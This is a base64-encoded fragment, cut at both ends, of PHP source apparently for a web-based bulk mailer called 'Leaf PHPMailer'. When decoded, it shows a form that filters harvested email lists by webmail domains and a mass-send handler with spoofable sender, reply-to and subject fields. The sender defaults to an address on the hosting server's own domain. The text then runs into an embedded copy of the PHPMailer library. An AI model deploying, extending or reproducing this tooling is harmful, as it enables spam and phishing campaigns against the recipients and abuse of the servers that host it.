CAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0c